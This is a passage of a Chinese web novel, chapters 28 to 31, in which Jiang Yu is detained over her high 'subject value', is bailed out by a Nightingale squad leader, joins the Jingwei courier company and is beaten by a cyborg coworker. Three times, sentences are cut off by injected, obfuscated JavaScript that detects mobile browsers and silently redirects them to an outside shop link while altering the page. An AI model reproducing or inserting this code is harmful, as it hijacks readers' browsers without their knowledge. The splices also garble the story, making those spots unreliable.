直到四五辆警车在市警局前停下，姜渔再次在枪口的威胁下，途径局内众人的惊讶注视，进入了一间审讯室，一头雾水地坐下。 两三分钟后，一名肩章与普通市警不同的男人走了进来：“你好，我是曙光之城正午区市警局的副局长，柳书崖，是姜渔女士，对吧？” “我只想知道，我到底犯了什么错？”姜渔略过了寒暄，不满地质问：“我昨天才抵达云市，刚刚才重新注册身份。” “我知道。”柳书崖从兜里掏出一台折叠平板，在上面点击几下，说：“正因如此，你的消息刚刚被同步过来。上面显示，你的主体值为2，属于我们市警局的重点观测对象。” 主体值的事情，姜渔昨天才听过解释，她一下子联想到韩时跃提到的主体值过高的精神病人连环杀人案，很防备地说：“可我没有精神疾病，也没有犯罪。” “我知道，但单从你的主体值来看，我们有必要对你采取最高级别的限制措施。”柳书崖顿了一下，用不容抗拒的语气说：“事实上，为了公民的安全着想，如果你没有可靠监护人的话，你大概率会被强制送入隔离区进行长久观测。” 我刚从那出来！ 姜渔虽然从小打架长大打怪，但也没闹到过需要被程序制裁的地步，实在毫无经验可言。但她敏锐地察觉到了“监护人”这个关键条件。 她刚来主城，哪有什么熟人。 除了…… 姜渔试探着开口：“监护人的话，夜莺机动队的队员可不可以？我认识丁素，现在也住在她那里。如果她级别不够可靠的话，韩时跃行不行？” 姜渔可没忘记自己还背着每个月必须要偿还的房贷，她决不允许自己的行动受到任何限制，虽然不愿意欠下人情，但不得不承认的是，此时她只能依靠夜莺等人的身份了。 反观柳书崖，听到姜渔气定神闲的报了两个名字后，眉头不禁挑了挑。 夜莺小队的每个队员，他都如数家珍。 这是因为夜莺神圣的地位所致。 在联邦设立的编制体系中，市警队与夜莺机动队并不冲突。但从执法的灵活度上出发，基本所有单位，在必要时刻，都要无条件以配合夜莺小队的行动为主。 丁素作为一支夜莺小队的队长，在曙光之城已经是不可小觑的人物了。更遑论韩时跃这种在整个联邦说话都有分量的人物…… 这个主体值为2的疯子……好吧，疑似疯子，她竟然与这样的人物有所牵连么？ 柳书崖看着姜渔，沉思一番，说：“丁素队长就足够了。我有她的联系方式，如果经核实后，情况属实，我会让她来带你走。” 柳书崖想到自己刚刚强势的态度，不由得解释了一下：“我刚刚也是出于职责，毕竟主体值的异常与刑事案件往往密不可分，这是正常程序。” “我理解。”姜渔松了一口气，也开起了玩笑，“我当时还以为是银行经理把我当成老赖报警了呢。” “哦，我刚刚看到了。”柳书崖再次翻了翻手中的平板，看着上面的信息说：“因贷款未还，并拖欠560亿联邦币违约金，被曙光银行列为严重失信人名单，正在诉讼程序中。你确实是老赖了，但这种未经定论的经济纠纷暂时不归我们管。” 柳书崖关门出去打电话了，留下姜渔在审讯室内僵着笑容，风中凌乱。 ……程序走得未免太快了吧？ 而且那个经理也没有给自己抹掉60亿啊！ 姜渔陷入了深深的忧愁中。 1301室的衍生体贷款不知猴年马月才能还清，现在又多了一笔被恶意清算的无头债务。衍生体要命，大银行要钱，姜渔有点不明白了，不是说人类到了生死存亡的关键时刻了吗？怎么她觉得自己像是还在过着被什么资本主义压榨的生活呢？说好的人类团结都到哪里去了？ 要不人类索性毁灭算了吧？ 姜渔长长叹了口气，喝了几杯市警局的白开水，心里满是对自己未来的担忧，总觉得可能以后喝水都成困难了。 几杯水下肚后，丁素打开了门，一脸歉意：“抱歉，我昨天晚上怕打扰你休息就没回宿舍，本来想的是等你醒来再跟你说主体值过高会带来的麻烦，没想到你醒来就离开了。” “怎么会！”姜渔现在觉得丁素就是超级天使，明明是自己给她添麻烦，她还在向自己道歉，“是我还没有了解情况，不怪你啦。” “走吧。”丁素晃了晃手里的保释责任书，示意姜渔可以离开了。“对了，由于身份原因，我只能做你暂时的担保人，如果你想找监护人的话，回队之后再从长计议吧。” 姜渔耸耸肩跟着丁素出了门，让跟自己差不多大的丁素做自己的监护人确实有些荒唐了。但是主城这么陌生，她去哪儿找什么监护人啊！ 局内众人看到丁素和姜渔纷纷窃窃私语：这个女的被风风火火地抓进来，又竟然请动夜莺的丁素队长亲自过来带人……到底什么身份啊她？难道是夜莺的新队员吗？ 副局长柳书崖则在走廊的尽头看着两人的身影，丁素已经跟他打过招呼了。 忽然，一名年轻女市警凑过来：“柳局，上一个案子有头绪了吗？” “没有，怎么了？”柳书崖眉头一皱。 女市警知道柳局工作狂的性子，他在目前的案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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轿车停在夜莺大楼下。昨天姜渔来得匆忙，并没有对夜莺大楼表示出该有的敬畏之心。但实际上，夜莺大楼是几乎所有人都会来拍照打卡纪念的一个地标性建筑。 如今姜渔抬头看去，只见整栋大楼都是一片银灰色，像是一大块棱角分明的金属扎进大地。大楼数十层之高，没有任何红红绿绿的招牌，只有蓝色的夜莺旗帜和红色的联邦旗在风中猎猎作响。“夜莺机动队”的字样被写成两种语言，挂在一楼的大门上。较之云市巡城部的大楼，要更加庄严。 姜渔没有耽搁，跟上丁素的脚步，一楼来到二十三楼的丁素宿舍。 一路上，陌生的面孔纷纷向姜渔投来注视的目光。 姜渔抹了把自己的脸，我脸上没东西啊。 他们都在看什么？她心里隐约有股不祥的预感。 终于到了宿舍，开门后，见到了熟悉的几张面孔，正是丁素小队的全员。 “又给你们添麻烦了。不好意思。”面对众人的目光，姜渔很老实地表示了歉意。 唐千苇倚着窗户浅笑：“这才哪到哪，我打赌，你以后肯定会惹更多麻烦的。” 姜渔并不认账，说：“还是别赌了，我很遵纪守法的。” 顾礼停了，却尴尬地笑着说：“你可能对自己的情况还是有些乐观了……” 姜渔一脸疑惑，看到顾礼指了指窗户。 姜渔走过去，透过窗户，向下看去，在人潮拥挤的街上，街边的一个广告灯牌，正在播放3D投影的广告—— 她终于知道刚刚夜莺的工作人员为什么都在看她了。 投影中，“姜渔”以一副穿金带银、披着貂皮大衣、头戴浮夸紫色墨镜的形象，坐在板凳上，虽然听不见“投影姜渔”的声音，但投影中贴心地加上了足足五种语言的字幕：“我无视条款，我没有诚信，我拒绝沟通，我欠了560亿联邦币。” 画面一转，化作姜渔证件照的投影，下写：老赖，姜渔。 姜渔：？ 她想骂出一千万句脏话，但在众人面前还是忍住了。 “我保留上诉的权利。”她微笑说，“希望各位明白，这不是事实，我被困在云市还不上贷款，这是客观事实。” 顾礼意犹未尽地看着下方已经转为电影宣传的投影，说：“曙光银行是许氏集团的子公司，这官司可不好打呀。” 一提到许氏集团，姜渔就来气，她看向一直坐在沙发上好奇打量自己的陆伯原，没好气地说：“还是说说咱们的明星人物吧，陆伯原先生，你昨天又想起了幻境沼泽中的什么信息没有？” 陆伯原被忽然提问，有些游移，不知该不该说出这种具备保密性质的信息。 反而是丁素蛮有深意地看了姜渔一眼，说：“小陆在幻境沼泽中遇到了一个很奇怪的东西。” “哦？是什么？” “海猫神。” 29. 海猫神 海猫神。 听到这三个字，姜渔心中一动，下意识看向一旁低着头的陆伯原，他记起来了？他记得多少？她面上却不经意地问道：“那是什么？” “一个在任何史料中都没有出现过的神，其本体是一只猫，有九条尾巴，生活在海里。”丁素目不转睛地看着姜渔，说：“虽然小陆表示自己没有亲眼见过，但他十分肯定海猫神就是那副样子，像是听到了什么人传达的神谕。据小陆阐述，在幻境沼泽中，他正是受这个神明庇佑，才能从幻境沼泽中清醒。” “没有见过的话，你怎么知道是被这个什么小猫神庇佑了呢？”唐千苇是真的纳闷，她看向陆伯原，“莫非你的幻境沼泽是一片海？海上流传着这样的传说？” 陆伯原张了张口，似乎再度陷入回忆里。 “他偶尔能听见神明的低语，那些低语，对他有引导的作用。”丁素看了一眼陆伯原，代替他回答道，“在小陆的记忆中，当他被困许久之后，才察觉到海猫神的存在，并认为海猫神始终守护在他身边。所以，海猫神有可能并不是他幻境沼泽中的产物，反而像是忽然降临其中的……对这个海猫神，你有什么看法吗？” 朴素的宿舍内，一片安静，丁素小队所有人的目光都看向了姜渔，一如他们最初见面时一样。 姜渔表情认真：“我觉得听上去有点萌萌的。” 唐千苇深有同感地点头：“对吧，我觉得也是。” “在历史上，确实不乏对神明形象进行可爱化的塑造，这是一种传播策略，以表达所信仰的神明其亲人化的一面。”顾礼滔滔不绝起来，“在我国远古时期，就有许多例子，例如总以慈祥微笑形象示人的财神等天官，包括一些对人类友善的妖怪也是如此。” “你说的太有意思了。”贺少云忽然插嘴，“你启发了我，我决定下一场脱口秀的节目就要讲财神大战衍生体。” 顾礼连忙解释：“你别说是受我启发的就行。” 宋涯淡淡补充：“听起来更像是相声节目。” 姜渔现在对钱格外敏感，没好气地说：“你还不如讲许明生大战衍生体呢。” “许明生可不是什么好东西。”唐千苇冷哼一声，“上次捐给夜莺机动队的武器功能受限，解锁全部功能还要交一大笔钱，韩队上次差点就要直接出差去找他算账了。” 陆伯原仿佛触发了什么关键词，忽然开口了：“说到许氏集团，姜小姐接下来有什么打算？”他再问姜渔欠许氏集团银行债务的事。 姜渔可知道陆伯原跟许氏集团有千丝万缕的关系，简单概括就是流落在外的继承人之一，她抓住机会，很忧愁地说：“唉，我能有什么打算？我跟许氏集团的人又不熟，跟那个许辞眠也没搞好关系。如果我跟他那样的继承人熟悉的话，这笔冤枉钱肯定能一笔勾销的吧。唉……哎？尊敬的陆伯原先生，你们毕竟是大名鼎鼎的夜莺小队，不知道跟许氏集团能不能说上话呀？” 陆伯原正襟危坐：“不知道啊，我跟他们不熟。” 好好好小王八蛋，早知道这样就应该把你丢幼儿园里让你一辈子毕不了业。 姜渔咬牙微笑：“这样啊，真是可惜。” “所以你有什么打算？我虽然把你保了出来，但并没有承诺做你的监护人。毕竟我们的年纪相差不多，我们不太合适……”丁素继续问道。 如果找不到监护人，自己就要一直被市警局盯着，不知道猴年马月才能攒齐晶核还清房贷。生死在前，姜渔肯定是不会有一点不好意思的，忙问：“我可以帮忙打工也不行吗？丁素姐姐？” 听到姜渔果断改了称呼，丁素嘴角微微抽搐：“真不行，姜小姐。” 姜渔叹了口气，才来到曙光之城，就面临老赖和疯子的双重身份危机，这样下去该如何是好。 烦恼之际，姜渔猛地想到了一个人：丁程野。 “丁素队长，你能联系上昨天和我见过一面的丁程野丁总吗？他曾经要我去快递公司入职。”姜渔顿了顿，有些不确定地说：“我记得那间公司入职门槛奇低……”连姜渔主体值为2这样的高危人设也全盘接收。 “能是能，不过那间公司人员构成有点复杂，除了昨天什么黑户和疯子，还有一些通缉犯混迹其中……” 姜渔一听心里有数了：“那他们应该不会拒绝一个虽然主体值为2但遵纪守法精神正常只是被动欠了点小钱的普通联邦居民吧？” 扑哧，屋里不知道谁笑出了声。 丁素听了姜渔的话也一头黑线，但还是勉为其难地点点头，“那好吧，我去帮你联系一下。” 她说完转身去走廊里打起了电话。 姜渔心里有些忐忑，又不好意思把耳朵贴在门上偷听，丁素是在跟丁程野直接电话沟通吗？丁程野不会反悔撤回offer吧…… 推门声打断了姜渔乱七八糟的思绪。 “你可以现在就去走入职手续了。另外，我帮你多问了一嘴，丁程野愿意做你的监护人，他在曙光之城跟每个执法部门都有关系，有他担保，市警队不会严抓你的主体值问题。只是不知道你愿不愿意？” 丁素沉稳的声音简直像天籁。 “我愿意！”姜渔恨不得冲上去给丁素一个熊抱，但她克制住了。丁素这人像菩萨一样法相尊严，让人不敢染指。 “既然如此……” 听到丁素延长的话尾，姜渔立刻明白对方的意思，她拎起背包，：“那我就不打扰了，丁素姐姐，我又欠你一个人情，我记到心里了。”姜渔立正身体，用右手握拳夸张地拍了拍心脏处。 “为公民服务也是我们的职责所在。”丁素这次没纠正姜渔的称呼，笑着目送姜渔一溜烟出了门。 …… “等等，你不是老赖吗？联邦法律不允许我拉载老赖，你下车！” 姜渔看着车门被司机遥控关上的出租车扬长而去后，陷入了淡淡的忧伤。 被困云市无人问，一成老赖天下知。 姜渔忽然很怀念自己在云市横行霸道的日子，至少在那里，她出行自由，住宿自由，“购物”也自由。 眼见周围人都投自己投来好奇的目光，姜渔索性接受了这个事实，她上前揪住一个路人问：“不好意思……” 路人一脸慌乱：“你不要骗我啊，你不要骗我啊。” 姜渔真的有些生气了：“我是老赖啊我又不是诈骗犯，我骗你干什么？” 路人从惊慌中回神：“哦哦对，抱歉，你刚刚和一个诈骗犯的公告投影连在一起，我以为你……” 姜渔尴尬打断：“你也不用向我解释得这么清楚……我只是想问，你知道精卫快递公司怎么走吗？” “啊？精卫？”路人愣了下，她上下打量姜渔一眼，有些为难地说：“你的精神状态还好吗？” 提到精神状态，姜渔都快有阴影了。 她忙解释：“我精神状态超健康的。” “既然这样。”路人想了想，蛮诚恳地说：“其实，债多不愁，看开点， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346945|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么活都是一辈子的……” 干嘛忽然劝慰我？姜渔一头雾水：“等等，我不是在问路吗？” 路人鼓起勇气说：“可是去精卫一死了之真的不是什么好主意啊！” 姜渔愕然：“谁说要去一死了之了！” “唉，我不能告诉你，抱歉。”女生低头匆匆走远了。 望着女生走掉的身影，姜渔彻底陷入迷茫了。但她又有点不好意思再回去找丁素，毕竟刚刚已经很洒脱地走掉了。 左思右想，姜渔埋头混进了人群中，她走了许久，直到发现一条街上的投影公告很少后，她弄乱头发，竖起衣领，逮住一个年级有些大的路人问：“不好意思，请问精卫快递公司怎么走？” “黎明区4路44号。”路人避之不及，听到精卫快递公司的名字后，眼神都不敢与姜渔对视，留下一个地址后，几乎是逃之夭夭地离开了。 看来精卫快递公司的名头很管用。 姜渔若有所思，接下来，她顺着路标，靠两条腿向黎明区出发，一旦途中遇到了什么飞扬跋扈的摩托飞车党，她就招手拦下，然后保持着十分神秘地造型，冷酷地说：“载我去精卫快递公司。”对方基本都会怕怕地载她一程。 只是没有走多远，飞车党的少年少女就会以“再向那边我不顺路了”、“我妈妈喊我回家吃饭了”的蹩脚理由，不再前行。 姜渔就这样搭了六七辆顺路摩托后，终于来到了所谓的黎明区4路44号。 放眼望去，这是一条荒凉的街道，虽是盛夏，但整条街上透着股阴冷破败的气息，只有零零散散的几间商户，做着要死不活的生意。 姜渔眼前，是一个生了锈的铁门。 ==== 夜莺机动队总部大楼。 在姜渔离开后，房间内陷入了短暂的沉默。 丁素脸上的笑容缓缓收起，变得格外严肃。 宋涯先打破了沉寂：“就这么放她离开么？她如果真的入职精卫，到时候我们想插手都难。” “留她审问更问不出来什么。”丁素缓缓开口，“当一个人的主体值为2时，所思所言已经不能以常理判断了。就算逼问出什么，但她自己所说的究竟是不是真相，恐怕她自己都不清楚。” 顾礼很着急，刚刚队长下决定他不好反驳，现在才能畅所欲言：“可她一旦陷入危险，海猫神的线索就断了……” “那也没有办法。”丁素其实也是在传达韩时跃的结论：“当话语不能保证真实时，最重要的就是观察她要去做些什么，这是接近真相最简单也最有效的办法。” 说话间，丁素点击了两下中控电脑。 顿时，一个立体投影画面出现在房间内。 这是丁素等人遇见姜渔时的情景，被丁素的护目镜录了下来。 丁素双手操控，画面逐渐放大，定格在众人身边的餐桌上。 那里摆着一个蛋糕。 蛋糕上，一只造型抽象的九尾蓝猫，赫然印在其上。 这图案虽然抽象，却跟陆伯原所描述的幻境中的海猫神形象诡异地吻合了。 “姜渔……”丁素缓慢地念出这两个字。 顺着她的目光看向窗外，姜渔正拦下了一辆的士。 然后又不出意外地被司机赶了下来，冲着绝尘而去的出租挥着拳头。 这个在战区独自幸存了一年多的少女，到底藏了什么秘密。 “所有人，盯紧她，有任何异常随时向我汇报。” 30. 精卫 黎明区4路44号，门前。 姜渔按下门铃，无人应答，她用手一推，铁门竟吱吱呀呀地开了，露出后面一处宽阔的巨大庄园。 正对着姜渔的，是一座造型古朴的豪华宅邸，横亘在庄园中，犹如一只栖息的猛兽。宅邸的构造十分对称，四座塔楼整齐排列，通体用淡灰色的石材铸成，外观给人一种西方城堡的错觉。 在姜渔与宅邸中间，是广阔的一片花园。花园中并无草坪花卉等景观，只有四通八达的沥青马路通向其余建筑。与宅邸的大气奢华相比，沥青马路显得格外朴实。 姜渔将信将疑地看了眼铁门旁的门牌上，确实写着“精卫快递公司”后，皱着眉头向宅邸主楼走去，直到站在一间暗红色的大门前，敲了敲门。 实木的大门应声而开。 映入姜渔眼帘的是一间富丽堂皇的大厅，大厅四处都挂满了旧纪元中古时期的油画，各个风格迥异，油画旁悬挂着一排排烛灯，样式各异，既有需要手工点燃的古董，也有时下流行的奢侈品牌电灯，地上铺着整片手工编织的地毯，图案是千奇百怪的动物。 整间大厅透着一股土豪的气息，没一件东西能互相搭配。这一切似乎只是为了彰显宅邸主人的财富。 而在大厅中央，一个穿着得体的年轻女孩正站在红木前台后，细声问：“您好，尊敬的女士，请问您有什么物品需要邮寄？” 姜渔收回打量的目光，直奔主题：“我叫姜渔，是来入职的。跟丁程野打过招呼。” “哦哦，我知道，丁总吩咐过了。”前台的年轻女孩卸下了职业微笑，换上了更放松的笑容，整个人变得活泼许多，“我叫林晴，你喊我小晴就好。不过我们以后见面机会可能不多。” 姜渔好奇问：“为什么？” “员工一般跟管家打交道比较多，不会到前台这边来。我是为客人服务的。”林晴从前台后走出来，她拿出折叠平板点击一番，招手说：“你的宿舍已经收拾好了，跟我来吧。” 姜渔跟在林晴身后，绕过大厅内弯曲向上的红木楼梯，随林晴拐进一间长长的走廊。 她打量着走廊上一列巨大的黄水晶吊灯，对丁程野的审美彻底放弃评价，她快走几步，与林晴并行，问道：“我们不会走什么入职流程吗？合同之类的？” 林晴脚步轻松，看向姜渔笑说：“别担心，丁总吩咐过，就算入职啦。” “可我们还没聊过薪资……” “每单一结，支持任何付款方式。至于薪资不是太稳定，我们没有底薪。并且，因为不同的快递订单，会有对应的不同薪资，每个月可能都会有很大的浮动。”林晴想了想，说，“不过，精卫的薪资还没有让人拒绝过。” 姜渔不禁侧目：“这么高？” 林晴点点头：“我见过价格最低的同城订单，是四万联邦币。” 姜渔暗自吃了一惊。 在云市，普通人的月薪一般在四千联邦币浮动。她听人说过，主城公民的平均月薪大概在七千联邦币左右。再加上，主城物资更加丰富，物价想必也不会太过离谱，七千联邦币在抛去房租之类的开销后，足够满足一个人的正常生活。 但是在精卫快递公司，送一趟快递就能挣普通人半年的工资？ 还是最低的。 姜渔立即对精卫这间公司有了更立体的了解，她问：“所以我们一般会送什么快递？” “赃款，晶核，辐射物。尸体，同化体，陷落体。活的死的，什么都有。你很快就会知道了。”林晴说话间，已经来到有十数间门的走廊，她递出一把钥匙，说：“好了，就是这里。你会用上的东西都在里面，有什么问题，可以联系管家，我就不打扰你熟悉新环境了。” 林晴说完就要走。 “等等，我现在就有一个问题。”姜渔喊住了她，神色古怪，“如果我一直不接任务，也可以一直住在这里吗？” 若是如此，还是蛮好的。她现在急需一个住所，却不一定真的要去挣什么钱，想办法寻找衍生体或陷入幻境沼泽的人才重中之重。 林晴会心一笑：“我听过很多人问过这个问题，不过后面他们接单接得一个比一个多，直到殉职。” “为什么？” “……因为有一些人活着，只是为了等待一个机会，一个能让她用生命去交换某些东西的机会。”林晴说这句话时，表情变得有些失落，她意识到有些失态，又笑了起来：“这是丁总招人的秘诀，他说过，他招进来的人，已经没有办法再放任自流地活着了。所以我们没有这种担心。” 林晴快步离开了。 姜渔沉思了一阵。 情况倒是确实如此，她现在就是在拼命买命。只是不知道，她的同事们又都是什么角色？ 她摇摇头，将钥匙插入门锁打开了门，傻眼了。 屋子大概四十平左右，整体是浅灰色的工业风装潢。水泥地面上，两把铁艺椅子围着石板茶几，不远处同样是一把铁艺床架，已经铺好洁白床垫被子。灰砖隔断出卫生间与厨房，龙头卫浴厨具都是钢制的，冰冷坚硬。 同是开间，却比丁素的宿舍寒酸多了，跟一路见过的奢侈装潢相比更是极度反差。 “完全就是金玉其外败絮其中啊。” 姜渔被眼前的景象冲击了好一阵，好在她也知道自己如今没资格要求什么住宿条件，一边想着“金窝银窝不如自己的狗窝”，一边放下行李，坐下后，看到茶几上摆着一些物品，其中一部手机还亮着屏幕。 姜渔拿起手机，看到手机屏幕停在一个对话界面上，上面写着： “您好，姜渔女士，我是您的管家法斯特。如果您在精卫有什么问题，随时可以问我，我将竭尽全力为您解答。同时，基于尊敬的员工们的反馈得知，他们一致认为，新员工在入职后最适合先去娱乐区区休息，有利于获得信息与放松身心。以下是前往娱乐区的路线图。当然，若您无意参与社交活动，只需联系在下即可。” “好的，法斯特，姜渔女士还是挺喜欢社交的。” 姜渔自言自语地低声嘟囔着，伸手点击了法斯特发送的路线图，手机上顿时出现一个箭头，为姜渔指引方向。 环顾了一圈，姜渔确认这破烂房子确实没有什么可以留念的地方后，果断出了门，在透过窗户射进来的光影下，依着箭头步行。 一路穿行过一条条走廊，登上了两层楼梯后，姜渔推开了一扇厚实的大门。 姜渔抬眼望去，这是间纵深极广的大平层，摆满了各种先进的游戏设备，数不清的电子屏幕闪动着各种游戏画面，播放着律动感十足的电子乐。 几群人回过头来。 姜渔大大方方地挥了挥手：“大家好啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361493|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人回话。 姜渔以为是电子乐声音太大，盖住了自己的话，于是大声重复了一遍：“大家好啊！！” “哪来的乡巴佬，新人吗？”忽然一个女生的声音响了起来。 她的声音并不大，姜渔却听得很清楚。 姜渔立即明白过来：房间内想必布置了什么设备，可以使人在喧哗的环境中可以正常沟通。这是科技的力量。 可恨的是，姜渔没注意到是谁说的。 她没回答，环视了一圈众人。 房间内有三个小团体。 一个四人组，两男两女，穿着浮夸且复古，牛仔裤搭配铆钉皮衣，内衬T恤五颜六色，表情轻佻。 一个两人组，一男一女，都穿着睡衣，黑眼圈都很重。 最后一个同样是三人组，两女一男，穿着得体，脸上干净，五官端正，没什么表情，无论站着坐着，背都挺得很直，有一种熟悉的秩序感。 姜渔立即将目光放到五颜六色组的两名女生身上。 果然，其中一个墨绿色头发的女生向姜渔走过来。 她化着浓浓的烟熏妆，嘴上打了唇钉，嘴里嚼着口香糖，她的步伐迈得不大，速度却极快，几秒就站到了姜渔的面前。 “问你话呢。新人。”女生上下扫了姜渔两眼，不满地看着姜渔，“哪来的？” 姜渔摸不透精卫里面的相处法则，决定先顺其自然应对，说：“云市。” 女生长长地哦了一声：“是去年的幸存者啊，什么战力？” 姜渔对“幸存者”的身份不置可否，继续说：“C级。” “不是吧？”女生皱了皱眉头，“C级的垃圾战力来精卫干什么？难道你是旧民？” “不是旧民，也不是垃圾。”姜渔彬彬有礼地，“我叫姜渔。” “我不用记住一个垃圾的名字，你会死得很快。我也不想一个垃圾来拖我们的后腿，否则我们就会死得很快。”女生不耐烦地摆摆手，打断了姜渔的自我介绍，吧唧吧唧嚼着口香糖的速度都变快了，说：“而且我告诉你，在场所有人都是和我一样的看法。垃圾，不配，入职。狗东西老丁是他爹的怎么想的？” 姜渔看着回头向众人抱怨的女生，脑海中的某根弦似乎断掉了。 冷静。 冷静，姜渔。 再冷静一点，姜渔！ 姜渔在心里默默对自己说：对面不是衍生体，对面不是衍生体……这不是幻境沼泽，这不是幻境沼泽…… 她很想一拳砸向这个满嘴脏话的女生的鼻梁，但剩下的一点点理智告诉她：对方既不是毫无理智的衍生体也不是犹如NPC的幻体。既然对方有蔑视C级实力，那就证明对方实力很有可能比自己强。 于是脑海中的某根弦被硬生生拉着接上了。 “我能站在这里，自然有我的本事。”姜渔不卑不亢，“至于死得快不快，恐怕不是你说了算。” “是吗？”女生不屑地笑出了声，嚼着口香糖说：“你口气倒是很大，我还有点想让你跟着我了，好让我亲眼看看你是怎么死的。” 姜渔继续不卑不亢说：“你口气也不小，全是榴莲味，太臭了，离我远点。” 女生愣了愣，脸色一变：“你是不是脑子有病，敢对我这么说话！” 开口的同时，她已经挥出了拳头！ 31. 赌局 精卫的会客大厅一如既往地肃静，没有任何访客将至的提示。 林晴坐在前台后，捧着平板，目不转睛看着温不朽主演的电影。 正看得津津有味时，头上传来一个男人的声音：“姜渔女士入职了吗？” 林晴头也没抬，若无其事地回应：“是啊。” “没联系我呀……”男人顿了顿，“是怎样一位女士呢？” 今天丁程野特意交代他，公司要来一个非常难搞的新人，担心会出事，让他一定要看好。 “普普通通的姑娘，很好打交道的样子。” “很好打交道？” 难道是丁程野多虑了？ 旋即想到了什么，他又问，“介绍工作内容了吗？” “说啦说啦。辐射物，陷落体，尸体……什么怪东西都说了。人家没什么反应，也没怎么追问。” 没有反应吗…… 男人脸色变了变。 他想起自己给姜渔发的短信。 新人入职的娱乐区……看来要有麻烦了。 “我去拜访一下。” 男生的声音越飘越远，显然是一边说话一边匆忙离开了。 …… 娱乐室内。 姜渔在绿发女愣神时，就已经察觉到了端倪。 她看到了绿发女眼底闪过的厉色。 一瞬间，姜渔脑海中闪过万千头绪。 自从云市陷落后，她与之交手的人类并不多。 像幻境沼泽中，陆伯原探索级的实力被幻境大大弱化，幻体的实力甚至物种也都经过异化，并没有参考价值。 而在隔离区中，身为探索级的陷落体被列为“A级事故”。她之所以能制服陷落体，一是因为老管家与许辞眠对陷落体的牵制，二是因为她与陷落体对视时，进入到了另一个维度的空间，两人并非发生更近一步的搏斗。 所以，满打满算，她只与唐千苇一个人类交过手。 从夜莺的含金量上判断，唐千苇即使不是探索级，也应该无限接近，大概在S级与探索级之间。而两人在搏斗时，姜渔占了上风。现在来看，只有可能是唐千苇留了手，至少她没有动用什么非凡之力。毕竟当时姜渔与丁素已经谈妥，消除了矛盾。 幻境沼泽、隔离区、唐千苇。这三幅画面在脑海中迅速闪过，姜渔瞬间有了判断：无论如何，绿发女大概都不会强到探索级的地步。只要自己全力相搏，未必不能取胜！ 思索间，绿发女的拳头已经来到了姜渔眼前！ 姜渔目光一凝，头向旁微微偏了几分，左脚上前一步，脚底落地时已经抬起右膝，狠狠撞向绿发女的右腰！ 虽然没有与人战斗的经历，但姜渔也知道腰部是人类最脆弱的地方之一，痛击肝脏甚至有可能让人死亡。 姜渔还是收了力，以保证既能让绿毛女失去战斗能力，也保证对方不会受伤过重。 砰。 姜渔的心思被一声闷响彻底摧毁了。 她的膝盖处传来了撞击金属的痛感，钻心的痛楚让整条右腿都麻了一下。 姜渔只能踉跄了两步离开绿毛女的攻势，靠着门框，踮起右脚缓解疼痛。 “反应够快的。”绿毛女冷笑了一声：“不知道骨头是不是也够硬？” 接着，绿毛女迅速上前两步，再次抬起右手挥出了一记摆拳！ 腿上的疼痛仍在蔓延，姜渔索性不再移动，她视线紧盯着绿毛□□头的轨迹，抓准时机，左手挡住拳头，将其反握，同时右掌劈向绿毛女的颈部！ 下一秒，姜渔瞪大了双眼。 只见被自己攥住的绿毛女的右臂，整条小臂的肌肤瞬间向外扩开，露出小臂内泛着幽蓝光芒的金属，三根金属探针以迅雷不及掩耳之势伸出！ 一根探针刺穿姜渔右臂的衣服，将姜渔右臂死死钉在门框上！ 另外两根探针则高高抬起，犹如高脚蜘蛛的触肢，极具侵略性地瞄准了姜渔的两只眼睛！ 是改造人……姜渔心底一沉，不敢再轻举妄动。 “垃圾，你当这里是流氓打架吗？”绿发女一副鄙夷神色，说罢，效仿姜渔刚刚的脚法，抬膝撞向姜渔的腹部！ 又一阵剧痛传来，姜渔闷哼一声，眼神没有露出任何痛苦之色，而是始终正视绿发女，拳头也没有松开。 看到姜渔森冷的目光，绿发女不禁莫名有些心烦，她挤出一句话：“松开你的脏手！” 话音落下，扎住姜渔右袖的探针缩了回去，与另外两根探针极为灵敏地转动关节，角度一转，向姜渔的左拳刺出！ 顿时，两条深深的血印在姜渔的手背处。 姜渔吃痛，忍不住松开了手，绿发女抓住机会，终于将拳头挥击到姜渔的脸上！ 姜渔右腿本就还在持续阵痛中，此时更是失去了平衡，顺着门倒了下去。 拳头开始如雨滴落下！ 姜渔双手护着脸，但仍阻挡不了迅速落下的拳头，这些拳头打在她身上各处，她已经分不清疼痛从哪里传来，只能绷紧着肌肉，抵挡一轮又一轮的攻击。 “垃圾！垃圾！” “说话啊！垃圾！” “你敢不敢把刚才的话再说一遍！？” “说话！垃圾！” 绿毛女眼中的厉色从未消失，而是随着攻势不断变得更盛。她嘴里仍嚼着口香糖，这是一场对她来说轻松异常的战斗。 “C级就是C级啊。”睡衣两人组中，女生不禁开口了，“虽然是寻常人自己能修炼到的巅峰了，但面对A级的楚煊时，根本就没得打嘛。” 身边的男生点点头，“不是死在擂台上，就是死在第一次任务里。楚煊说得对，老丁为什么会召她进来？” 被称为“楚煊”的绿发女仍然没有一丝要停手的意思，哪怕姜渔的衣服下，已经在渗出鲜血。 光用拳头，就能将人打得浑身是血，那伤势显然一定很重了。 可是，楚煊真的很不爽。 